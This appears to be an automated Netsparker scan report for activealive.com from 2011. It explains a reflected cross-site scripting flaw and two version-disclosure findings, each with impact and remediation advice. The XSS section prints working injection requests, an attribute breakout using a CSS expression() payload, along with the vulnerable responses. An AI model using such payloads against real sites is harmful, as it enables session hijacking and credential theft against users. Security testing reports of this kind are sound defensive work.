XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
GET /?nsextt=%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: activealive.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 27 Apr 2011 20:19:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET x-server: ash08 X-AspNet-Version: 2.0.50727 Transfer-Encoding: chunked Cache-Control: private Content-Type: text/html; charset=utf-8
<html><head><title></title></head><!-- Redirection Services ASH01WRED08 H1 --><frameset rows='100%, *' frameborder=no framespacing=0 border=0><frame src="http://www.easylivings.com/nsextt=" stYle="x:expre/**/ssion(netsparker(9))" name=mainwindow frameborder=no framespacing=0 marginheight=0 marginwidth=0></frame></frameset><noframes><h2>Your browser does not support frames. We recommend upgrading your browser.</h2><br><br><center>Click <a href="http://www.easylivings.com/nsextt=" stYle="x:expre/**/ssion(netsparker(9))">here</a> to enter the site.</center></noframes></html>
GET /%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: activealive.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 27 Apr 2011 20:20:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET x-server: ash07 X-AspNet-Version: 2.0.50727 Transfer-Encoding: chunked Cache-Control: private Content-Type: text/html; charset=utf-8
<html><head><title></title></head><!-- Redirection Services ASH01WRED07 H1 --><frameset rows='100%, *' frameborder=no framespacing=0 border=0><frame src="http://www.easylivings.com/" stYle="x:expre/**/ssion(netsparker(9))" name=mainwindow frameborder=no framespacing=0 marginheight=0 marginwidth=0></frame></frameset><noframes><h2>Your browser does not support frames. We recommend upgrading your browser.</h2><br><br><center>Click <a href="http://www.easylivings.com/" stYle="x:expre/**/ssion(netsparker(9))">here</a> to enter the site.</center></noframes></html>
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from X-AspNet-Version banner of HTTP response or default ASP.NET error page.
Impact
An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.
Remedy
Apply the following changes on your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: activealive.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 27 Apr 2011 20:30:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET x-server: ash02 X-AspNet-Version: 2.0.50727 Transfer-Encoding: chunked Cache-Control: private Content-Type: text/html; charset=utf-8
<html><head><title></title></head><!-- Redirection Services ASH01WRED02 H1 --><frameset rows='100%, *' frameborder=no framespacing=0 border=0><frame src="http://www.easylivings.com" name=mainwindow frameborder=no framespacing=0 marginheight=0 marginwidth=0></frame></frameset><noframes><h2>Your browser does not support frames. We recommend upgrading your browser.</h2><br><br><center>Click <a href="http://www.easylivings.com">here</a> to enter the site.</center></noframes></html>
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Remediation
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: activealive.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 27 Apr 2011 20:30:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET x-server: ash02 X-AspNet-Version: 2.0.50727 Transfer-Encoding: chunked Cache-Control: private Content-Type: text/html; charset=utf-8
<html><head><title></title></head><!-- Redirection Services ASH01WRED02 H1 --><frameset rows='100%, *' frameborder=no framespacing=0 border=0><frame src="http://www.easylivings.com" name=mainwindow frameborder=no framespacing=0 marginheight=0 marginwidth=0></frame></frameset><noframes><h2>Your browser does not support frames. We recommend upgrading your browser.</h2><br><br><center>Click <a href="http://www.easylivings.com">here</a> to enter the site.</center></noframes></html>